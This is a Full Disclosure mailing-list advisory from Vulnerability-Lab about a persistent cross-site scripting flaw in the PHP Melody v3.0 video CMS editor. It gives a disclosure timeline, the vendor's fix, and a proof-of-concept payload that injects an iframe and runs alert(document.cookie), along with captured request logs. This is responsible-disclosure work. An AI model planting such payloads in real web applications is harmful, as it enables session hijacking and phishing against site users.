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Subject: [FD] PHP Melody v3.0 - (Editor) Persistent XSS Vulnerability
From: "info () vulnerability-lab ! com" <info () vulnerability-lab ! com>
Date: 2021-10-27 12:05:28
Message-ID: dd24f219-b0ca-fc8d-aa98-256c58c28b0d () vulnerability-lab ! com
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Document Title:
===============
PHP Melody v3.0 - (Editor) Persistent XSS Vulnerability
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2291
Bulletin: https://www.phpsugar.com/blog/2021/09/php-melody-3-0-vulnerability-report-fix/
Release Date:
=============
2021-10-21
Vulnerability Laboratory ID (VL-ID):
====================================
2291
Common Vulnerability Scoring System:
====================================
5.4
Vulnerability Class:
====================
Cross Site Scripting - Persistent
Current Estimated Price:
========================
500€ - 1.000€
Product & Service Introduction:
===============================
Upload, import, stream or embed any media. The smart way to manage audio & video. Comes with \
all the tools you need for online publishing. Beautiful content for your site. Allow users to \
create their channels, subscribe and follow the content they like. Podcast, mini-series, TV \
shows or movies. Everything is easier to publish with our CMS. Invest in a Secure Foundation. \
Build with a proven CMS.
(Copy of the Homepage: https://www.phpsugar.com/phpmelody.html )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a persistent cross site web \
vulnerability in the PHP Melody v3.0 video cms web-application.
Affected Product(s):
====================
PHPSUGAR
Product: PHP Melody v3.0 - Video CMS (Web-Application)
Vulnerability Disclosure Timeline:
==================================
2021-09-01: Researcher Notification & Coordination (Security Researcher)
2021-09-02: Vendor Notification (Security Department)
2021-09-04: Vendor Response/Feedback (Security Department)
2021-09-22: Vendor Fix/Patch (Service Developer Team)
2021-09-22: Security Acknowledgements (Security Department)
2021-10-20: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Authentication Type:
====================
Restricted Authentication (Moderator Privileges)
User Interaction:
=================
Low User Interaction
Disclosure Type:
================
Responsible Disclosure
Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in PHP Melody v3.0 video \
cms web-application. The vulnerability allows remote attackers to inject own malicious script \
codes with persistent attack vector to compromise browser to web-application requests from the \
application-side.
The persistent cross site web vulnerability is located in the video editor (WYSIWYG) with the \
tinymce class. Privileged user accounts like edtiors are able to inject own malicious script \
code via editor to provoke a public execution by users oder administrators. The request method \
to inject is get and after save in dbms via post method the attack vector becomes persistent.
Successful exploitation of the vulnerability results in session hijacking, persistent phishing \
attacks, persistent external redirects to malicious source and persistent manipulation of \
affected application modules.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] Editor - Videos (WYSIWYG - tinymce)
Vulnerable File(s):
[+] edit-episode.php
Vulnerable Parameter(s):
[+] episode_id
Affected Module(s):
[+] description
Proof of Concept (PoC):
=======================
The persistent validation vulnerability can be exploited by remote attackers with privileged \
editor user account and with low user interaction. For security demonstration or to reproduce \
the web vulnerability follow the provided information and steps below to continue.
PoC: Payload
<p><a title=""><iframe src="//phpmelody.localhost.com:8080/admin/[PWND]">">">"
href="https://phpmelody.localhost.com:8080/admin/"><iframe%20src=evil.source \
onload=alert(document.cookie)>">">">">"></iframe></a></p>
--- PoC Session Logss (GET) [WYSIWYG] ---
https://phpmelody.localhost.com:8080/admin/[PWND]
Host: phpmelody.localhost.com:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
Referer: https://phpmelody.localhost.com:8080/admin/edit-episode.php?episode_id=1
Cookie: PHPSESSID=aac20732ffd23b7d11815fa2b8f2e12a; \
melody_d900e07810ba03257e53baf46a9ada6f=admin; \
melody_key_d900e07810ba03257e53baf46a9ada6f=cc33e6eb60d2c1e31a5612bd8c193c88; \
cookieconsent_dismissed=yes; sidebar-main-state=maxi; watched_video_list=MSw0LDUsNw%3D%3D; \
pm_elastic_player=normal; aa_import_from=youtube; \
guest_name_d900e07810ba03257e53baf46a9ada6f=admin
-
GET: HTTP/2.0 200 OK
content-type: text/html;
vary: Accept-Encoding
Vulnerable Source: Video Editor (WYSIWYG - tinymce)
<textarea name="description" cols="100" id="textarea-WYSIWYG" class="tinymce" style="display: \
none;" aria-hidden="true"><p><test title=""><iframe \
src="//phpmelody.localhost.com:8080/admin/evil.source">">">" \
href="https://phpmelody.localhost.com:8080/admin/"><iframe%20src=evil.source \
onload=alert(document.cookie)>">">">">"></iframe></a></p></textarea>
<span class="autosave-message"></span>
</div></div>
Reference(s):
https://phpmelody.localhost.com:8080/admin/
https://phpmelody.localhost.com:8080/admin/edit-episode.php
https://phpmelody.localhost.com:8080/admin/edit-episode.php?episode_id=1
Solution - Fix & Patch:
=======================
Encode and sanitize the input description parameter of the web editor tinymce class for \
moderators, editors or users to prevent attacks.
Credits & Authors:
==================
Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Disclaimer & Information:
=========================
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--
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